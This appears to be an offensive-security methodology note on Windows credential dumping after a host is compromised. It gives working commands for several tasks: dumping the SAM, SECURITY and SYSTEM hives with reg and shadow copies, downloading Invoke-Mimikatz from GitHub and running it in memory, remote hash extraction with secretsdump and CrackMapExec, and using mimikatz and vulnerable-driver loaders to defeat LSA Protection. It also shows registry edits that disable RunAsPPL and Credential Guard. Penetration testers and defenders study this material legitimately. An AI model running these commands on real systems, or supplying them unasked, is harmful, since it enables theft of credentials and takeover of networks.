<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>

<https://sushant747.gitbooks.io/total-oscp-guide/privilege\\_escalation\\_windows.html>

<https://ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates>

<https://www.elastic.co/fr/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process>

<https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf>

<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation>

<https://docs.microsoft.com/fr-fr/windows/desktop/SecAuthZ/ace-strings>

<https://blogs.msmvps.com/erikr/2007/09/26/set-permissions-on-a-specific-service-windows/>

<http://www.alex-ionescu.com/publications/BlueHat/bluehat2016.pdf>

<https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Linux-Vulnerabilities\\_Windows-Exploits--Escalating-Privileges-with-WSL.pdf>

<https://resources.infosecinstitute.com/windows-subsystem-linux/#gref>

<https://mspscripts.com/get-installed-antivirus-information-2/>

<https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/>

<https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/>

<https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/>

<https://itm4n.github.io/localservice-privileges/>

<https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights>


# Post exploitation


# Credentials dumping

### Overview

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, as well as any other secrets stored on the compromised host.

On Windows, the users' password and secrets are stored through various mechanisms and in multiple possible locations:

| Location                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Secrets                                                                                                                                                                                                                                                                                                                                                                                                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| <p><code>HKEY\_LOCAL\_MACHINE\Security Account Manager (SAM)</code> registry hive.<br><br>File path: <code>%SystemRoot%/system32/config/SAM</code></p>                                                                                                                                                                                                                                                                                                                      | `LM` / `NTLM` hashes of the host's local accounts.                                                                                                                                                                                                                                                                                                                                                                                            | The `SAM` database contains the local users of the host (as well as the local groups).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| <p><code>HKEY\_LOCAL\_MACHINE\SECURITY\Policy\Secrets</code> registry hive.<br><br>File path: <code>%SystemRoot%/system32/config/SECURITY</code></p>                                                                                                                                                                                                                                                                                                                        | <p><code>MsCacheV1</code> / <code>MsCacheV2</code> hashes of locally cached Active Directory domain accounts.<br><br>Others <code>LSA Secrets</code>: <code>DPAPI machine key</code>, account cleartext passwords for Windows <code>services</code> or <code>scheduled tasks</code> that are configured on the host, etc.</p>                                                                                                                 | <p>The <code>HKLM\SYSTEM</code> registry hive contains <code>cached domain logon information</code> in order to allow re-logon on the machine even if a Domain Controller is not reachable.<br>By default, the last 10 accounts used to logon are stored.<br><br>The <code>MsCacheV1</code> (<code>Windows Server 2003</code> / <code>Windows XP</code>) and <code>MsCacheV2</code> (<code>Windows Server 2008</code> / <code>Windows Vista</code> and newer) are calculated as follow:<br><br><code>MsCacheV1 = MD4(hashNTLM . LowerUnicode(\<USERNAME>))</code><br><br><code>MsCacheV2 = PBKDF2(HMAC-SHA1, Iterations, MsCacheV1, LowerUnicode(username))</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `Local Security Authority Subsystem (LSASS)` process.                                                                                                                                                                                                                                                                                                                                                                                                                       | <p>Possible cleartext passwords of domain or local logged-on users.<br><br><code>LM</code> / <code>NTLM</code> hashes of domain or local logged-on users.<br><br><code>Kerberos</code> tickets (<code>Ticket-Granting Ticket (TGT)</code> and <code>service tickets</code>).<br><br><code>DPAPI</code> <code>MasterKeys</code> of domain or local logged-on users.<br><br><code>SmartCard</code> or <code>Token</code> PIN codes.<br><br></p> | <p>Logged-on users credentials are stored by the various <code>Authentication Package (AP)</code> / <code>Security Service Providers (SSP)</code> that are loaded in the <code>LSASS</code> process.<br>Note that after <code>KB2871997</code>, the credentials stored in the <code>LSASS</code> process should be cleared out of memory after user logs off.<br><br>The following <code>SSP</code> packages are provided by Microsoft and natively integrated in the Windows operating system:<br><br><code>MSV1\_0 Authentication Package</code><br>-> Primary authentication package that stores <code>NTLM</code> / <code>SHA1</code> hashes of local or domain account opening for interactive logons, service logons, and NewCredentials logons.<br><br><code>Credential Security Support Provider protocol (CredSSP)</code> / <code>TSPKG</code><br>-> Stores plaintext credentials of non-<code>Restricted Admin Mode</code> remote interactive (<code>RDP</code>) sessions.<br><br><code>Digest SSP</code> (<code>Wdigest.dll</code>)<br>-> Legacy <code>SSP</code> that stores cleartext credentials.<br><br><code>Kerberos</code><br>-> Stores <code>Kerberos SSP/AP</code> tickets of (only) Active Directory domain accounts.<br>If an interactive logon is conducted whenever a Domain Controller is not reachable, logon types <code>11 (CachedInteractive)</code> or <code>12 (CachedRemoteInteractive)</code>, the <code>Kerberos</code> provider (if used) will store the logged on account clear-text password (for future login attempts).</p> |
| <p><code>DPAPI</code> credentials:<br><br><code>Credentials</code> files, located in <code>%SYSTEMDRIVE%\Users\&#x3C;USERNAME>\AppData\Roaming\Microsoft\Credentials\&#x3C;GUID></code><br><br><code>Windows Credentials</code> vault stored as a combination of <code>vpol</code> and <code>vsch</code> files in <code>%SYSTEMDRIVE%\Users\&#x3C;USERNAME>\AppData\Local\Microsoft\Vault\&#x3C;GUID></code><br><br>Various locations defined by third-party softwares.</p> | Cleartext passwords, web browsers cookies, etc.                                                                                                                                                                                                                                                                                                                                                                                               | `DPAPI` / Generic credentials are defined by programs that leverage the Windows `Data Protection Application Programming Interface (DPAPI)` API to locally store encrypted secrets.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |

Additionally, on Domain Controllers, the `NT Directory Services.Directory Information Tree (NTDS.dit)` Active Directory database contains the `LM` / `NTLM hashes`, `Kerberos secrets` (`RC4` key, corresponding to the `NTLM hash` of the account password, and `AES 128/256 bits` keys) and `DPAPI` keys of all domain accounts. Refer to the `[ActiveDirectory] ntds.dit` note for techniques and procedures to dump this database.

Refer to the `[General] File transfer` note for methods to transfer the eventual tools and registry exports / `LSASS` dumps to and from the compromised hosts.

**SysKey / BootKey**

The `SysKey`, also referred to as the `BootKey`, stored in the `HKLM\SYSTEM` registry hive is necessary to decrypt the `HKLM\SAM` and `HKLM\SECURITY` registry hives. The `HKLM\SYSTEM` must thus also be retrieved from the targeted host.

**Cached domain logon information configuration**

The number of cached domain credentials, as `MsCacheV1` or `MsCacheV2` hashes, in the `HKLM\SECURITY` registry hive is dictated by the `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version\Winlogon\CachedLogonsCount` registry key.

By default, 10 domain accounts logon information can be stored, as the `CachedLogonsCount` key has a default value of `10`. If the key is set to `0`, network access to a Domain Controller will be required for the authentication of domain accounts.

```bash
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\Current Version\Winlogon\"
```

If the aforementioned `CachedLogonsCount` key is not defined but the following `SecEdit`'s `CachedLogonsCount` registry key is, the number of cached credentials is restricted through `SecEdit` (using a `Local Security Policy` `INF` file, a domain `Group Policy`, etc.)

```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SecEdit\Reg Values\MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon/CachedLogonsCount"
```

**Local Administrator Password Solution (LAPS)**

If the Microsoft `Local Administrator Password Solution (LAPS)` solution is installed on the machine, the password of one (and only one) of the local account is likely managed through Active Directory and will not be mutualized with others Windows systems.

The installation of `LAPS` on a system creates the following `DLL` on the system:

```
Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'
```

### SAM, SECURITY, and SYSTEM registry hives

**Local registry hives dump**

*Standard technique using the `reg` utility*

The Windows built-in `reg` utility can be used to dump the `HKLM\SAM`, `HKLM\SECURITY`, and `HKLM\SYSTEM` registry hives:

```bash
reg save HKLM\SAM <PATH_SAM_FILE>
reg save HKLM\SYSTEM <PATH_SYSTEM_FILE>
reg save HKLM\SECURITY <PATH_SECURITY_FILE>

# One-liner
cmd /c "reg save HKLM\SAM SAM & reg save HKLM\SECURITY SECURITY & reg save HKLM\SYSTEM SYSTEM"
```

*Using `shadow copy` volume on hardened systems*

The usage of the `reg.exe` and `regedit.exe` utilities can be restricted through `Group Policy Object (GPO)` by setting the `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools` registry key to `1`. Trying to use the aforementioned utilities will result in the following error message: `ERROR: Registry editing has been disabled by your administrator.`

If such hardening has been implemented on the targeted system, a `shadow copy` volume can be leveraged to copy the `HKLM\SAM`, `HKLM\SYSTEM`, and `HKLM\SECURITY` registry hives from disk (as direct copy is not possible due to the files being locked by continued access).

The `Windows Management Instrumentation (WMI)` class `win32_shadowcopy` can be used to create a `shadow copy` volume and presents the advantage of being built-in on both Windows workstations and servers. Alternatively, the Windows built-in `Volume Shadow Copy Service administrative (vssadmin)` utility may be used on Windows servers (as the required `vssadmin`'s `create` command is only available on the Windows Servers operating systems). Refer to the `[ActiveDirectory] ntds.dit dumping` note for more information on how to create a `shadow copy` volume using `vssadmin`.

```bash
# Either commands create the shadow copy volume.
wmic shadowcopy call create Volume='C:\'
powershell.exe -Command (gwmi -List win32_shadowcopy).Create('C:\', 'ClientAccessible')

# Lists the shadow copy volume configured in order to retrieve the created shadow copy ID.
wmic shadowcopy
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_ }

cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\System32\config\SAM <EXPORTED_SAM>"
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\System32\config\SYSTEM <EXPORTED_SYSTEM>"
cmd.exe /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<ID>\Windows\System32\config\SECURITY <EXPORTED_SECURITY>"

# Will delete all instances of shadowcopy volumes.
wmic delete

# Deletes the specified shadow copy volume.
Get-WmiObject Win32_ShadowCopy | ForEach-Object { If ($_.ID -like "<GUID>") { $_.Delete() }}

# Alternatively will prompt for confirmation before deleting a shadow copy volume but require to be started through an interactive command prompt.
wmic
wmic:root\cli> shadowcopy delete
```

**Credentials extraction from the registry hives**

The `Impacket`'s `secretsdump.py` Python script can be used to extract the credentials from the `HKLM\SAM` and `HKLM\SECURITY` hives. `secretsdump.py` supports the new encryption scheme introduced in the `Windows 10 Anniversary update`.

```bash
secretsdump.py -sam <SAM> -system <SYSTEM> [-security <SECURITY>] LOCAL
```

*Deprecated*

The Linux tool `samdump2` can be used to extract the credentials from the `SAM` hive on a Linux system:

```bash
samdump2 <SYSTEM_FILE> <SAM_FILE>
```

The `Windows 10 Anniversary update`, introduced, in modern Windows operating systems, a new encryption scheme, based on `AES`, for the `SAM` database. `samdump2` has not been updated and will return the `31d6cfe0d16ae931b73c59d7e0c089c0` hash (blank password or account disabled) for all local users.

**Direct local accounts and LSA Secrets extraction through Windows API calls**

Alternatively, `mimikatz` may be used directly on the targeted system to retrieve the local accounts hashes and the `LSA Secrets` through the `Windows API` (and not by decrypting and parsing the `HKLM\SAM` and `HKLM\SECURITY` registry hive):

```
# PowerShell in memory injection
# If the compromised host can not access internet, Invoke-Mimikatz.ps1 should be hosted on a local website on the attacking machine
(New-Object System.Net.WebClient).Proxy.Credentials =  [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam" "lsadump::cache" "token::revert"';

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::cache exit
```

**Remote SAM and LSA Secrets dump and extraction**

The `Impacket`'s `secretsdump.py` Python script and the Python `CrackMapExec` tool, which is built upon `Impacket`, can be used to remotely dump and extract the `HKLM\SAM` and `HKLM\SECURITY` registry hives.

`secretsdump.py` leverages the Windows `Remote Registry` service to save the `HKLM\SAM` and `HKLM\SECURITY` registry hives in the target host `%SYSTEMROOT%\Temp` directory. The exported hives are then remotely parsed to extract the credentials.

`CrackMapExec` wraps around `secretsdump.py` and can be used for distributed dumping of the local accounts and `LSA Secrets` of multiple hosts.

```bash
# Impacket's secretsdump.py
# NTLM authentication
secretsdump.py [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<HOSTNAME | IP>
secretsdump.py -hashes <LM_HASH:NT_HASH> [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
secretsdump.py -k -no-pass [-dc-ip <DC_IP>] <HOSTNAME>

# CrackMapExec
# <TARGET | TARGETS> : IP(s), IP range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containing a list of <TARGETS>
# Local accounts - HKLM\SAM
crackmapexec smb <TARGET | TARGETS> --sam (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
# LSA Secrets - `HKLM\SECURITY
crackmapexec smb <TARGET | TARGETS> --lsa (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
```

**SAM and LSA Secrets dump and extraction through C2 agents**

*Metasploit / meterpreter*

The `meterpreter` module `hashdump` can be used to dump the `SAM` database on a compromised host:

```
meterpreter> hashdump
```

The `Metasploit` module `post/windows/gather/lsa_secrets` can be used to dump the `LSA Secrets` trough a privileged `meterpreter` session:

```
msf> use post/windows/gather/lsa_secrets
```

*Cobalt Strike*

The `Cobalt Strike` `beacon` built-in function `[beacon] -> Access -> Dump Hashes` (or `hashdump` from the beacon interact console) will dump the `SAM` database of the compromised host.

The function output will be automatically parsed and the harvested credentials added to the `Cobalt Strike` credentials database: `View -> Credentials`.

### LSASS process

#### LSASS possible protections

The protection mechanisms described below only affect the `LSASS` process and do not impact the local accounts, stored in the `HKLM\SAM` registry hive, nor the `LSA Secrets`, stored in the `HKL\SECURITY` registry hive.

**Local Security Authority Protection**

*General concept.*

The `Local Security Authority (LSA) Protection` mechanism, firstly introduced in Windows 8.1 and Windows Server 2012 R2, leverage the `Protected Process Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL` protection regulates and restricts operations, such as memory injection or memory dumping of protected processes, even from process holding the `SeDebugPrivilege` privilege.

The protection level of a process is defined in its `EPROCESS` structure, used by the Windows kernel to represent processes in memory. The `EPROCESS` structure includes a (`UCHAR`) `_PS_PROTECTION` field , defining the protection level of a process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer` (`_PS_PROTECTED_SIGNER`) attributes.

```c
// Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;
            UCHAR Audit  : 1;                  // Reserved
            UCHAR Signer : 4;
        };
    };
} PS_PROTECTION, *PPS_PROTECTION;

First 3 bits of Level contain the type of protected process _PS_PROTECTED_TYPE (refers to the low nibble of the value):
PsProtectedTypeNone = 0
PsProtectedTypeProtectedLight = 1
PsProtectedTypeProtected = 2
PsProtectedTypeMax = 3

The top 4 bits contain the protected process signer _PS_PROTECTED_SIGNER (refers to the high nibble of the value):
// < Windows 10 1607 Redstone 1 (Anniversary Update) x86
PsProtectedSignerNone = 0
PsProtectedSignerAuthenticode = 1
PsProtectedSignerCodeGen = 2
PsProtectedSignerAntimalware = 3
PsProtectedSignerLsa = 4
PsProtectedSignerWindows = 5
PsProtectedSignerWinTcb = 6
PsProtectedSignerMax = 7
// > Windows 10 1607 Redstone 1 (Anniversary Update) x86
[...]
PsProtectedSignerWinSystem = 7
PsProtectedSignerApp = 8
PsProtectedSignerMax = 9
```

For example, `0x31` refers to an Antimalware `PPL` process while `0x52` refers to a Windows signed protected process.

Whenever an initiator process attempts to conduct an operation on a target process, a restriction will be applied:

* if the initiator process' `Type` is (strictly) lower than the target process' `_PS_PROTECTED_TYPE` (example: `PsProtectedTypeNone` < `PsProtectedTypeProtectedLight`).
* or if the initiator process does not "dominate" the target process, which is the case if the target process's `_PS_PROTECTED_SIGNER` attribute belongs to the initiator process' `DominateMask`. Each `Signer` type is associated with a different `DominateMask` mask in the Windows `RtlProtectedAccess` table.

In such cases, the operations allowed on the target process depends on its `Signer` attribute. With the exception of the `PsProtectedSignerNone` processes, for which no restriction are defined, the authorized operations are limited to:

```
PROCESS_QUERY_LIMITED_INFORMATION
PROCESS_SUSPEND_RESUME
PROCESS_SET_LIMITED_INFORMATION
PROCESS_TERMINATE # (except for PsProtectedSignerLsa, PsProtectedSignerWinTcb and PsProtectedSignerAntimalware).
```

If the `LSA Protection` mechanism is activated on the system, the `LSASS` process runs under the `PsProtectedSignerLsa-Light` protection level. The `PROCESS_VM_READ` right, required to read `LSASS`'s data, is only granted to others protected processes (`Type` >= 1) that "dominate" the `PsProtectedSignerLsa` `Signer`.

The `LSA Protection` is activated through the `HKEY_LOCAL_MACHINE`'s `RunAsPPL` registry key:

```bash
# RunAsPPL = 0x0 or undefined -> The LSASS process is not protected (PsProtectedTypeNone).
# RunAsPPL = 0x1 -> The LSASS process is protected (PsProtectedSignerLsa-Light).

reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa /v RunAsPPL
```

For Windows systems that support the `Unified Extensible Firmware Interface (UEFI) Secure Boot` technology, an `UEFI` variable is additionally set in the firmware when `LSA protection` is enabled. This variable can not be altered through a modification of the `RunAsPPL` registry key and guarantee the persistence of the `LSA protection`.

```bash
# UEFISecureBootEnabled = 0x0 or undefined -> The UEFI Secure Boot mechanism is disabled.
# UEFISecureBootEnabled = 0x1 -> The UEFI Secure Boot mechanism is enabled.

reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecureBoot\State /v UEFISecureBootEnabled
```

*Bypass overview.*

If `UEFISecureBootEnabled` is disabled, and the targeted system can be safely rebooted, the `RunAsPPL` registry key can be simply set to `0x0` to disable the `LSA Protection` mechanism:

```bash
reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa /v RunAsPPL /d 0x0
```

If `UEFISecureBootEnabled` is enabled, multiple techniques may be used to attempt to bypass the `RunAsPPL` protection:

* By leveraging the `Win32` API `DefineDosDevice` to create an arbitrary `Known DLL` entry in order to hijack a `DLL` loaded by a `PPL` process. The `DLL`, running in a `PPL` context, will then be used to dump `LSASS` memory.
* A driver can be loaded in the Windows kernel to execute code in the kernel space which allows for the modification of every processes' `EPROCESS` structure (that contain the `_PS_PROTECTION` field). The `SeLoadDriverPrivilege` is required in order to load a kernel driver.
* By duplicating a handle on the `LSASS` process opened by another process that is not sufficiently protected (otherwise its protection level would need to be bypassed). This requires that a process running on the local system has an handle to the `LSASS` process and is not protected.
* Extract the credentials from a full memory dump, captured using forensics tools such as `WinPmem` or `DumpIt`. Refer to the `[DFIR] Memory` note for more information on such tools.
* (Unrecommend) The official Microsoft opt-out procedure can be followed to disable the `UEFISecureBootEnabled` mechanism and reset the `RunAsPPL` registry key.

*Bypass using the `DefineDosDevice` API for `DLL` Hijacking through `Known DLLs`.*

[`PPLdump`](https://github.com/itm4n/PPLdump) can be used to dump `LSASS` memory using the aforementioned `Win32` API `DefineDosDevice` technique. For a (way) more detailed explanation on the technique, refer to the [original author itm4n blog post](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/).

Note that `PPLdump` must be executed as `NT AUTHORITY\SYSTEM`, which can be achieved using, for example, the `PsExec` utility.

```bash
PPLdump.exe -v -f <lsass | LSASS_PID> <OUTPUT_DUMP>

# Using the PsExec utility to execute PPLdump as "NT AUTHORITY\SYSTEM" (as required by the DefineDosDevice technique).
PsExec.exe -accepteula -s cmd /c "<PPLDUMP_FULL_PATH> -v -f <lsass | LSASS_PID> <DUMP_OUTPUT_FULL_PATH>"
```

*Bypass through kernel-land code execution using a Windows driver.*

In order for a driver to be loaded (on systems with `Secure Boot` on), the driver file must be digitally signed either:

* for signature date prior to 29/07/2015, with a trusted cross-signed certificate, du to compatibility reasons for older drivers.
* with a trusted `Extended Validation Code Signing Certificate` certificate (from partners enrolled and authorized for Kernel Mode Code Signing) and `Windows Hardware Quality Labs (WHQL)` certified.

If there no antivirus solution installed on the targeted system, or if the solution deployed can be disabled, `mimikatz`'s `mimidrv` driver, digitally signed in 2013, can be used to disable the `LSA Protection` mechanism. The driver can be loaded as a kernel driver through `mimikatz`, which will result in the creation of the driver `mimidrv` service (service type: `SERVICE_KERNEL_DRIVER`). The loaded driver may then be used to protect the `mimikatz` process, with a protection `Type` set to `PsProtectedTypeMax` and a `Signer` level of `PsProtectedSignerWinTcb`, in order to "dominate" the `lsass` process and be able to dump its memory.

Note that the driver file `mimidrv.sys` must be present in the same directory as the `mimikatz.exe` being executed.

```
# One-liner: mimikatz.exe "token::elevate" "privilege::debug" "!+" "!processProtect /process:mimikatz.exe" "sekurlsa::logonpasswords" "exit"

# If necessary.
mimikatz # token::elevate
mimikatz # privilege::debug

# Loads the mimidrv driver and protect the mimikatz process.
mimikatz # !+
mimikatz # !processProtect /process:mimikatz.exe

# Futher mimikatz commands.
mimikatz # sekurlsa::logonpasswords
[...]

# Stop the driver and removes the mimidrv service
mimikatz # !-
```

If a protected antivirus solution is installed on the targeted system, a legitimate driver vulnerable to a code execution vulnerability can be loaded in order to gain kernel space code execution. The `gdrv-loader` project leverages the `gdrv.sys` driver, vulnerable to multiples critical vulnerabilities (`CORE-2018-0007`), to load the specified unsigned driver. Doing so, a modified `mimidrv` driver that does not raise antivirus alerts can be loaded in memory.

```bash
# Loads the (potentially unsigned) specified driver using the gdrv.sys driver.
gdrv-loader.exe gdrv.sys <mimidrv.sys | DRIVER_FILE_PATH>

# The mimikatz process can directly be protected as the mimidrv driver is loaded in the kernel.
mimikatz # !processProtect /process:mimikatz.exe
[...]

# Unloads the specified driver.
gdrv-loader.exe <mimidrv.sys | DRIVER_FILE_PATH>
```

*Through duplication of an handle on the `LSASS` opened by an unprotected process.*

If an unprotected process running locally has an opened handle on the `LSASS` process, this handle can be duplicated in order to read / dump `LSASS` memory through it, even if the `LSASS` process itself is protected. An unprotected user-land process could have obtained such handle legitimately through a Windows driver for example.

The [`pypykatz`](https://github.com/skelsec/pypykatz)'s `handledup` method implements this technique in the following manner:

1. enumeration of all handles opened by all processes using the semi documented `NtQuerySystemInformation` API
2. For each process:\
   2.1 opening of the process using the `Win32` API `OpenProcess` with the `PROCESS_DUP_HANDLE` access right.\
   2.2 duplication of each of the opened process's handles using the `Win32` API `DuplicateHandle`.\
   2.3 For each handle, check if its a handle on the `LSASS` process using the `Win32` `NtQueryObject` and `QueryFullProcessImageName` APIs.

```bash
pypykatz live lsa --method handledup
```

*Official opt-out procedure.*

Finally, the Microsoft official `LSA Protection` opt-out procedure can be followed in order to disable the `UEFISecureBootEnabled` mechanism and reset the `UEFI` variable.

```bash
# Procedure source: https://www.microsoft.com/en-us/download/details.aspx?id=40897

reg add HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecureBoot\State /v UEFISecureBootEnabled /d 0x0

# Requires the x64\LsaPplConfig.efi or x86\LsaPplConfig.efi Extensible Firmware Interface files from the official procedure.
# Should be run in a command prompt with elevated privileges.
mountvol X: /s
copy C:\LsaPplConfig.efi X:\EFI\Microsoft\Boot\LSAPPLConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\LSAPPLConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions %1
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
```

**Microsoft Credentials Guard**

Microsoft `Credential Guard` is a virtualization-based isolation technology, introduced in Microsoft's `Windows 10 (Enterprise edition)` which prevents direct access to the credentials stored in the `LSASS` process.

When `Credentials Guard` is activated, an `LSAIso` (*LSA Isolated*) process is created in `Virtual Secure Mode`, a feature that leverages the virtualization extensions of the CPU to provide added security of data in memory. Access to the `LSAIso` process are restricted even for an access with the `NT AUTHORITY\SYSTEM` security context. When processing a hash, the `LSA` process perform a `RPC` call to the `LSAIso` process, and waits for the `LSAIso` result to continue. Thus, the `LSASS` process won't contain any secrets and in place will store `LSA Isolated Data`.

Microsoft `Credential Guard` requires a number of hardware and software requirements:

* Support for Virtualization-based security
* `UEFI` Secure boot
* Supported 64-bit Windows operating systems: `Windows 10 Enterprise`, `Windows Server 2016`, and `Windows Server 2019`
* `Trusted Platform Module (TPM)` recommended but not required

*Enumeration of Microsoft Credentials Guard configuration*

The PowerShell `Get-CimInstance` can be used to check if `Credential Guard` is running:

```
# Credential Guard is running if SecurityServicesConfigured contains 1
Get-CimInstance –ClassName Win32_DeviceGuard –Namespace root\Microsoft\Windows\DeviceGuard
```

*Disabling of Microsoft Credentials Guard*

If `Credential Guard` was enabled with `UEFI Lock`, the settings are persisted in `EFI` (firmware) variables and disabling Credential Guard will require a "physical presence at the machine to press a function key to accept the change" after reboot . Note that if `Credential Guard` was not enabled with `UEFI Lock` it can be disabled through a network session and will require a reboot of the machine.

Disabling `Credential Guard` will not allow for the retrieval of the secrets currently stored in the `LSASS` process but will enable the retrieval of further credentials stored after reboot.

```bash
# 0 Disables Credential Guard.
# 1 Enables Credential Guard.
# 2 Enables Credential Guard without making it persist to the UEFI.
REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags"

# Disabling Credential Guard
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 0 /f
REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Device Guard" /v EnableVirtualizationBasedSecurity /d 0 /f /t REG_DWORD
```

*Bypass of Microsoft Credentials Guard using memory patching*

Patches the `LSASS` process directly to enable the `Wdigest` `SSP`. Further authentications will result in cleartext credentials to be stored in the `LSASS` process while Microsoft Credentials Guard will still be running.

<https://teamhydra.blog/2020/08/25/bypassing-credential-guard/>

<https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240>

<https://blog.xpnsec.com/exploring-mimikatz-part-1/>

#### LSASS dumping and credentials extraction

**Methodology and recommended tools**

While `mimikatz` can be used by itself to dump and extract the credentials from the `LSASS` process, `mimikatz` released binaries are universally flagged by antivirus solutions. It is thus recommended to use others techniques and tools to dump the `LSASS` process of the remote host and to use `mimikatz` only to extract credentials from the exfiltrated dump of target.

Note that `LSASS` process dump from Windows operating systems of the `Windows NT 5` family (`Windows Server 2003` / `Windows XP`) can only be parsed on Windows operating systems of the same family (i.e `Windows NT 5`) and of the same architecture (32 bits `x86` or 64 bits `x64`).

| Use case                                                                                                                                                                                | Recommended tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Remote code execution after exploiting a critical vulnerability, etc.                                                                                                                   | Windows built-in `comsvcs.dll`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| <p>Knowledge of a local administrator password / <code>NTLM</code> hash.<br><em>Limited to domain accounts or the local built-in Administrator account (<code>RID 500</code>).</em></p> | <p><code>CrackMapExec</code>'s <code>lsassy</code> module<br><br><code>lsassy</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| Interactive or remote interactive logon session.                                                                                                                                        | <p>Windows built-in <code>Task Manager</code><br><br>Windows built-in <code>comsvcs.dll</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| <p>Distributed credentials extraction of multiple hosts.<br><em>Limited to domain accounts or the local built-in Administrator account (<code>RID 500</code>).</em></p>                 | <p><code>lsassy</code><br><br><code>CrackMapExec</code>'s <code>lsassy</code> module</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
